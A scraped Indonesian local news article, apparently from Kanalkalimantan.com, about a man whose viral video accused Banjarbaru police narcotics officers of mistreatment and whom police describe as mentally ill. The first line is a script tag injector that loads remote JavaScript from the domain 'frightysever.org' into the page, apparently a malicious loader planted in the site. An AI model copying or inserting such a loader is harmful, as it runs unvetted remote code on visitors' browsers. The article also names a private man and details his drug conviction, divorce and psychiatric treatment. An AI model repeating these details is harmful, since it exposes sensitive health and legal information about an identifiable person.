(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

VIRAL. Pria Ngaku Ditangkap Satresnarkoba dan Mau Dibunuh, Ternyata…


KANALKALIMANTAN.COM, BANJARBARU – Baru-baru ini jagat media sosial dihebohkan seorang pria yang membuat video memaki-maki jajaran personel Polres Banjarbaru, Sabtu (11/3/2023).

Dilansir dari 4 video yang didapatkan Kanalkalimantan.com, video berdurasi kurang dari 1 menit itu menampilkan seorang pria dengan akun @muhammad.**1, memaki dengan kata tidak pantas dan juga mencari-cari jajaran Polres Banjarbaru, terutama dari Satuan  Reserse Narkoba (Satresnarkoba).

Pria tersebut mengaku Satresnarkoba Polres Banjarbaru melakukan penangkapan tidak sesuai SOP pada dirinya. Dalam videonya, dia juga mengaku keselamatannya terancam oleh oknum yang ingin membunuhnya di jalan raya.

Kanalkalimantan.com mencoba mencari akun @muhammad.**1, namun video tersebut sudah tidak ada lagi atau sudah dihapus dari media sosial.

 

Baca juga: Yayasan RDB Buktikan Anak Disabilitas Mampu Berkarya

Saat dikonfirmasi, Kasi Humas Polres Banjarbaru, Kompol Tajudin Noor mengatakan bahwa pria pemilik @muhammad.**1 yang memiliki nama lengkap Muhammad Abdi asal Banjarmasin merupakan orang dengan gangguan jiwa (ODGJ).

“Hal ini sudah ditindak lanjuti oleh unit Narkoba, infonya yang bersangkutan orang dengan gangguan jiwa,” ujarnya.

Keterangan pria pemilik akun @muhammad.**1 ODGJ didukung oleh video klarifikasi yang dikirimkan Kompol Tajudin kepada Kanalkalimantan.com yang memperlihatkan kartu berobat dan surat rujukan berkop resmi Rumah Sakit Jiwa Sambang Lihum.

Dijelaskan Kompol Tajudin, pada tahun 2016 lalu, pria pemilik akun @muhammad.**1 pernah dilakukan penahanan oleh jajaran Satresnarkoba Polres Banjarbaru, lantaran kepemilikan narkotika jenis sabu 0,33 gram. Dengan menjalani hukuman dengan vonis selama 5 tahun 6 bulan.

Bagai jatuh ditimpa tangga, pemilik akun @muhammad.**1 pada tahun 2020 diceraikan sang isteri di sisa-sisa menjalani hukumannya.

“Saat dalam tahanan dia diceraikan oleh isterinya,” sebutnya.

Baca juga: Melindungi Identitas Motif Kain Sasirangan Pendaftaran HaKI Dilakukan

Akibat diceraikan sang isteri, pada tahun 2021 lalu, psikologi dirinya terganggu dan harus menjalani rawat jalan di Poliklinik RSJ Sambang Lihum.

Sekarang Muhammad Abdi kata Kompol Tajudin, dari keterangan rumah sakit maupun keluarganya masih dalam gangguan jiwa.

“Dari keterangan keluarga, ia sering mengamuk dan merusak di sekitar lingkungannya tinggal,” tutup Kompol Tajudin.(kanalkalimantan.com/ibnu)

Reporter: ibnu
Editor: cell


Al Ghifari

Recent Posts

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

19 menit ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

28 menit ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

40 menit ago

Sempat Sengat Pelajar Madrasah, Sarang Tawon Dalam Kelas Dievakuasi Damkar HSU

KANALKALIMANTAN.COM, AMUNTAI - Khawatir membahayakan para pelajar, sarang tawon berukuran sedang berhasil dievakuasi petugas Pemadam… Read More

4 jam ago

Peningkatan Kapasitas Anggota BPD, Ini Kata Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai penting peranan… Read More

4 jam ago

Dua Raperda Disahkan, Ketua DPRD: Payung Hukum yang Jelas Bagi Cagar Budaya di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More

6 jam ago

This website uses cookies.